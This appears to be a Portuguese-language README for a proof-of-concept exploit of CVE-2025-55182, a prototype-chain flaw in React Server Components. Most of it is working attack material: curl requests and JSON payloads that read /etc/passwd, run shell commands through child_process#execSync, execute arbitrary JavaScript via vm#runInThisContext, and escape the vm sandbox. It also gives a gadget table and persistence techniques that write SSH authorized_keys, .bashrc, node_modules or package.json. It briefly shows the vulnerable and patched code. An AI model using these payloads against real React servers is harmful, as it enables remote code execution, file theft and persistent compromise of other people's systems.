Exploit de prova de conceito para CVE-2025-55182, demonstrando execução remota de código via vulnerabilidade na cadeia de protótipos em React Server Components. Inclui múltiplos gadgets de RCE e ataques de persistência.
Este POC demonstra o CVE-2025-55182 usando o código vulnerável real do [email protected].
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
# Exploits
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| Arquivo | Porta | Descrição |
|---|---|---|
src/server-realistic.js | 3002 | Servidor principal - simula um bundle webpack com módulos comuns (fs, vm, child_process) |
src/server.js | 3002 | Servidor legado (usa require direto) |
| Arquivo | Descrição |
|---|---|
exploit-rce-v4.js | RCE principal via vm#runInThisContext |
exploit-all-gadgets.js | Testa todos os gadgets RCE (vm, child_process, fs) |
exploit-persistence.js | Ataques de persistência (chaves SSH, .bashrc) |
Simula um bundle webpack real onde aplicativos normalmente agrupam módulos perigosos por meio de dependências:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
A função __webpack_require__ carrega apenas módulos de BUNDLED_MODULES, simulando o comportamento real do webpack.
Em requireModule(), os exports são acessados via notação de colchetes sem verificação hasOwnProperty:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 com metadados de ação vinculadosid: 'vm#runInThisContext' carrega o módulo vm, acessa a exportação runInThisContextbound se torna argumentos para a funçãorunInThisContext(CODE) executa código arbitrário| Gadget | Status | Descrição |
|---|---|---|
vm#runInThisContext | ✓ | Executa JS arbitrário no contexto atual |
vm#runInNewContext | ✓ | Executa em 'sandbox' (facilmente escapável) |
child_process#execSync | ✓ | Execução direta de comando shell |
child_process#execFileSync | ✓ | Executa arquivos binários |
child_process#spawnSync | ✓ | Cria processo (retorna objeto) |
fs#readFileSync | ✓ | Lê arquivos arbitrários |
fs#writeFileSync | ✓ | Escreve arquivos arbitrários |
Executar comando shell (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Ler arquivos sensíveis:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Gravar arquivos em disco:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Executar JavaScript arbitrário:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Escape de sandbox (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Para RCE direto: Sim, você precisa de um de:
Para RCE indireto (apenas fs): Não! Apenas com fs você pode:
~/.ssh/authorized_keys → acesso SSH~/.bashrc → execução de código no próximo loginnode_modules/* → RCE na reinicialização do apppackage.json → RCE no próximo npm install| Versão | Ataque | Resultado |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE alcançado |
| React 19.2.1 | vm#runInThisContext | ✗ Bloqueado |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
Veja VULNERABLE-PACKAGES.md para pesquisa sobre pacotes npm populares que incluem módulos perigosos:
| Módulo | Downloads Semanais | Pacotes Populares |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |